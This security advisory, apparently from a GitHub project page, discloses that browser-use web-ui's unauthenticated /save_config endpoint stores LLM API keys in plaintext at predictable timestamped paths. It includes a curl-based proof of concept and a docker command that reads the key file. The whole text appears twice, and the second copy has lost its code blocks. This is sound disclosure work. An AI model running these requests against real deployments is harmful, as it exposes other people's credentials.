reported on 2 June 2026 https://github.com/browser-use/web-ui/security/advisories/GHSA-f7h6-rcrp-6c3j - no response.
Summary
The web-ui application exposes a Gradio API endpoint (/save_config) that requires no authentication and accepts LLM provider API keys as part of its input. These keys are written verbatim to a JSON file on the server at a predictable, timestamp-based path (./tmp/webui_settings/YYYYMMDD-HHMMSS.json). The file path is returned to the caller in the response. Any network-accessible user can call this endpoint and retrieve the file path; in deployments where the settings directory is accessible (mounted volumes, shared filesystems, or physical host access), the stored keys can be read in plaintext.
Details
The save_config function in src/webui/webui_manager.py receives all Gradio UI component values, including the LLM API Key field (component ID 26, agent_settings.llm_api_key), and writes them to a JSON file without any sanitization or encryption:
# src/webui/webui_manager.py lines 80-95
def save_config(self, components: Dict["Component", str]) -> None:
cur_settings = {}
for comp in components:
if not isinstance(comp, gr.Button) and not isinstance(comp, gr.File) and str(
getattr(comp, "interactive", True)).lower() != "false":
comp_id = self.get_id_by_component(comp)
cur_settings[comp_id] = components[comp]
config_name = datetime.now().strftime("%Y%m%d-%H%M%S")
with open(os.path.join(self.settings_save_dir, f"{config_name}.json"), "w") as fw:
json.dump(cur_settings, fw, indent=4)
return os.path.join(self.settings_save_dir, f"{config_name}.json")
The resulting JSON file contains the key in plaintext under agent_settings.llm_api_key. The file path is returned as the function's return value, which Gradio places in the Status textbox visible to the caller.
The application launches with no authentication by default:
# webui.py line 15
demo.queue().launch(server_name=args.ip, server_port=args.port)
The launch() call has no auth= parameter. The Gradio /config endpoint confirms auth_required: null. All 20 named API endpoints are reachable without credentials.
The file naming uses only a wall-clock timestamp (%Y%m%d-%H%M%S), making it predictable to the second. Files are created with mode 644 (world-readable within the container). In Docker deployments using bind mounts or shared volumes, these files are accessible to host users and other containers.
PoC
Prerequisites: web-ui running at http://TARGET:7788 (default port), no authentication configured (the default).
Step 1. Call save_config with an API key via the Gradio queue API:
curl -s -X POST "http://TARGET:7788/gradio_api/queue/join" \
-H "Content-Type: application/json" \
-d '{
"data": ["","",null,"","openai","gpt-4o",0.6,true,16000,"","sk-SUPERSECRET-TESTKEY-abc123",
null,null,0.6,false,16000,"","",100,10,128000,"auto","","",false,true,false,false,
1280,1100,"","","","","./tmp/agent_history","./tmp/downloads",[],"",
"Stop","Pause","Clear","Submit","<div></div>",null,null,null,"","","",1,
"./tmp/deep_research","Stop","Run","",null,null,"Load Config","Save UI Settings",""],
"fn_index": 17,
"session_hash": "poc_session_001"
}'
Step 2. Collect the result from the SSE stream:
curl -s "http://TARGET:7788/gradio_api/queue/data?session_hash=poc_session_001"
Expected output (SSE event):
data: {"msg":"process_completed","output":{"data":["./tmp/webui_settings/20260602-023419.json"]}}
Step 3. The returned path reveals the API key storage location. On the host:
docker exec CONTAINER cat /app/tmp/webui_settings/20260602-023419.json
Output:
{
"agent_settings.llm_provider": "openai",
"agent_settings.llm_api_key": "sk-SUPERSECRET-TESTKEY-abc123",
...
}
Confirmed live on commit 6196229, Gradio 5.27.0, container running as root (uid=0).
Impact
An attacker with network access to the web-ui service can:
- Enumerate saved configuration files by guessing timestamp-based filenames (predictable to the second).
- Retrieve LLM API keys in cleartext from those files if they have container or volume access.
- In shared deployments (team use, cloud-hosted), observe the returned file path from their own
save_config call and correlate with administrator-saved configs saved at known times.
The default deployment has no authentication and no rate limiting. The container runs as root (uid=0), so the stored files are created and owned by root.
reported on 2 June 2026 https://github.com/browser-use/web-ui/security/advisories/GHSA-f7h6-rcrp-6c3j - no response.
Summary
The web-ui application exposes a Gradio API endpoint (
/save_config) that requires no authentication and accepts LLM provider API keys as part of its input. These keys are written verbatim to a JSON file on the server at a predictable, timestamp-based path (./tmp/webui_settings/YYYYMMDD-HHMMSS.json). The file path is returned to the caller in the response. Any network-accessible user can call this endpoint and retrieve the file path; in deployments where the settings directory is accessible (mounted volumes, shared filesystems, or physical host access), the stored keys can be read in plaintext.Details
The
save_configfunction insrc/webui/webui_manager.pyreceives all Gradio UI component values, including the LLM API Key field (component ID 26,agent_settings.llm_api_key), and writes them to a JSON file without any sanitization or encryption:The resulting JSON file contains the key in plaintext under
agent_settings.llm_api_key. The file path is returned as the function's return value, which Gradio places in the Status textbox visible to the caller.The application launches with no authentication by default:
The
launch()call has noauth=parameter. The Gradio/configendpoint confirmsauth_required: null. All 20 named API endpoints are reachable without credentials.The file naming uses only a wall-clock timestamp (
%Y%m%d-%H%M%S), making it predictable to the second. Files are created with mode 644 (world-readable within the container). In Docker deployments using bind mounts or shared volumes, these files are accessible to host users and other containers.PoC
Prerequisites: web-ui running at
http://TARGET:7788(default port), no authentication configured (the default).Step 1. Call
save_configwith an API key via the Gradio queue API:Step 2. Collect the result from the SSE stream:
curl -s "http://TARGET:7788/gradio_api/queue/data?session_hash=poc_session_001"Expected output (SSE event):
Step 3. The returned path reveals the API key storage location. On the host:
docker exec CONTAINER cat /app/tmp/webui_settings/20260602-023419.jsonOutput:
{ "agent_settings.llm_provider": "openai", "agent_settings.llm_api_key": "sk-SUPERSECRET-TESTKEY-abc123", ... }Confirmed live on commit 6196229, Gradio 5.27.0, container running as root (uid=0).
Impact
An attacker with network access to the web-ui service can:
save_configcall and correlate with administrator-saved configs saved at known times.The default deployment has no authentication and no rate limiting. The container runs as root (
uid=0), so the stored files are created and owned by root.